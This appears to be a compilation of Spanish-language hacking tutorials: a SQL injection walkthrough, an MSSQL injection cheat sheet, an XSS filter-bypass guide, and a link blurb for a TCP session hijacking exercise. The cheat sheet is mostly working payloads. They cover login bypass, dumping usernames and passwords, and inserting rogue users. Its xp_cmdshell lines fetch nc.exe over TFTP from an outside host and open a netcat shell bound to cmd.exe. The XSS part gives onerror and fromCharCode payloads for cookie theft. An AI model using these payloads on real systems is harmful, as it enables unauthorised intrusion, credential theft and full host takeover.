Sql Inyeccion by Murder

id=1/**/ORDER/**/BY/**/1/*
id=1/**/ORDER/**/BY/**/2/*
id=1/**/ORDER/**/BY/**/3/*
id=1/**/ORDER/**/BY/**/4/*
...
...
...
id=1/**/ORDER/**/BY/**/9/*

Haces eso hasta que te de error y anotas el ultimo numerito que funcionó para en el siguiente paso poner:

id=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9/**/

En la injection... es sencillo con el order by sacas cuantas columnas tiene la tabla para asi poder hacer el union correctamente. Pruebenlo en alguna web vuln y lo entenderán... si tiene 9 columnas y pongo solo 8 en la inject, dará error..

id=-1/**/union/**/select/**/1,2,3,4,5,6,7,8/**/ -> ERROR
id=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9/**/ -> correcto

Sql Inyexion Cheat Sheat

# DEMO: Identificación
# --------------------

'

# DEMO: Salteando la Autenticación
# --------------------------------

admin'--
'OR''=''--

# DEMO: Obteniendo Información: Enumeración de Tablas
# ---------------------------------------------------

'having 1=1--

# DEMO: Obteniendo Información: Enumeración de Campos
# ---------------------------------------------------

'group by users.userid having 1=1--
'group by users.userid, users.username having 1=1--
'group by users.userid, users.username, users.userpass having 1=1--
'group by users.userid, users.username, users.userpass, users.firstname having 1=1--
'group by users.userid, users.username, users.userpass, users.firstname, users.lastname having 1=1--


# DEMO: Obteniendo Información: Tipo de Dato
# ------------------------------------------

'union select sum(firstname) from users--
'union select sum(userid) from users--


# DEMO: Obteniendo Información: @@version
# ---------------------------------------

'union select @@version--
'union select @@version,1--
'union select @@version,1,1--
'union select @@version,1,1,1--
'union select @@version,1,1,1,1--

'union select @@servername,1,1,1,1--

'union select @@language,1,1,1,1--

'union select @@servicename,1,1,1,1--


# DEMO: Lectura de Datos: Nombre de Usuario y Contraseña
# ------------------------------------------------------

'union select min(username),1,1,1,1 from users where username > 'a'--
'union select min(username),1,1,1,1 from users where username > 'b'--

'union select min(userpass),1,1,1,1 from users where username = 'admin'--
'union select min(userpass),1,1,1,1 from users where username = 'support'--


# DEMO: Lectura de Datos: Table Browsing / HTTP Proxy
# ---------------------------------------------------

'declare @aux varchar(8000) set @aux='' select @aux=@aux+username+'/'+userpass+';'from users where username>@aux select @aux as aux into tmp--
'union select aux,1,1,1,1 from tmp--
'drop table tmp--


# DEMO: Alterando Datos: INSERT
# -----------------------------

'insert into users values(9,'MyUser','MyPass','MyFName','MyLName')--


# DEMO: Control Total del Host: File Upload
# -----------------------------------------

'exec master.dbo.xp_cmdshell 'cmd /c tftp -i 172.16.1.196 get nc.exe c:\nc.exe'--
'exec master.dbo.xp_cmdshell 'cmd /c tftp -i 172.16.1.196 get whoami.exe c:\whoami.exe'--


'exec master.dbo.xp_cmdshell 'cmd /c c:\nc.exe -l -d -p 1234 -t -e cmd.exe'--

XSS: Saltándonos las Magics Quotes y otros filtros

XSS: Saltándonos las Magics Quotes y otros filtros
Por Vengador de las Sombras


#~Introducción:


Para comenzar, repasemos la definición de qué es un XSS...

"XSS es un ataque basado en explotar vulnerabilidades del sistema de validación de HTML incrustado. Su nombre original “Cross Site Scripting”, y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de “scripting”, como VBScript o javascript, en el contexto de otro dominio."

Es decir, la vulnerabilidad del XSS consiste en poder poder inyectar código HTML o código de cualquier lenguaje scripting (JavaScript, VBscript, etc) que nuestro navegador interpretará, o en el caso de que sea XSS persistente (por ejemplo un XSS a nivel foro o a nivel de GuestBook, donde el código permanece) dentro del propio archivo vulnerable. La importancia de este ataque reside, en por ejemplo, el robo de cookies, u otras acciones...


Pero, los webmasters crean filtros para evitar que usuarios maliciosos puedan inyectar códigos que exploten esta vulnerabilidad. Llegamos así a las llamadas magic quotes, pequeños filtros que evitan el uso de las comillas y de /, transofrmándolas en \ o en \".

También existen otros filtros, los cuales imposibilitan el uso de caracteres no numéricos, etc, en este texto os vamos a dar algunas ideas de como soltear estos incovenientes.



#~Luchando contra las Magic Quotes:



Para empezar, por simple lógica, si la web cuenta con magics quotes, los tags de HTML basados en elementos que necesiten de un cierre con < /tag>, porque al sustituir nuestra /, el tag dejaría de funcionar.

Es por ello que debemos de acudir a aquellos elementos vacios tipo < img>. En el caso de usar < img> forzaremos la ejecución de código malicioso aprovechando el elemento onerror, que a parte de permitir ejecutar código maligno, no necesita ser cerrado ;). Para poder utilizarlo, necesitaremos forzar un error en el tag que lo englobe. En nuestro caso hemos dicho que ibamos a utilizar < img>.

El error que vamos a utilizar es la imposibilidad de cargar una imagen, porque la ruta no es válida ;). Podríamos hacerlo de esta forma:

< img src=. onerror=alert(69)>

Como la ruta "." no permitirá cargar una imagen, dará error y se ejecutará lo que pongamos en onerror (en este caso el típico alert). Como podemos ver ya hemos saltado esta magic quote y podemos ejecutar lo que queramos Cheesy.



#~Bypasseando filtros de caracteres especiales y no numéricos:


Existen otros filtros que sustituyen, o directamente no permiten, introducir caracteres especiales, como las comillas, o letras. Para poder ejecutar nuestros código maligno, tenemos un pequeño abanico de posibilidades, desde usar UNICODE (valor en Hexadecimal del carácter con un % delante de cada carácter), pasando por usar el valor ascii. Existe una función en javascript encargada de hacer esto a la inversa: pasar de ascii a caracter. Esta funcion es String.fromCharCode.


Su uso es muy sencillo, simplemente se colocan los caracteres en valor ascii separados por comas. Tal que así:

String.fromCharCode(X, Y, Z)

Siendo X, Y, Z, los valores. Veamos por ejemplo como sería el texto "XSS":

String.fromCharCode(88,83,83)

Para usarlo junto con nuestro alert, simplemente lo introducimos entre () del alert.


#~Conclusión:

Como hemos podido ver, el bypassing de filtros no es algo fijo, sino que se necesita de una cierta imaginación para poder manejarnos dentro del pequeño espacio que nos deja nuestro filtro. En mi opinión lo mejor es usar HTMLENTITIES para evitar ejecutar código html...

Por último decir que esta obra está bajo licencia de Creative Commons, lo que quiere decir que está permitida su distribución, pero manteniendo su autor original, y esas cosas.

Cualquier posible error que haya, o cualquier reforma que se le quiera hacer al texto:

Camaleon__81[at]hotmail[dot]com

#~Bibliografía:


"Los poderes Secretos del XSS"
"Rompiendo barreras: Analizando la fuente y encontrando XSS’s"

Práctica de Asalto a una sesión TCP

En este documento se explica la estructura de un asalto a una sesión TCP, se presenta un ejemplo práctico utilizando la herramienta Hunt y se evidencian los rastros que se dejan tras el ataque

Link: Descarga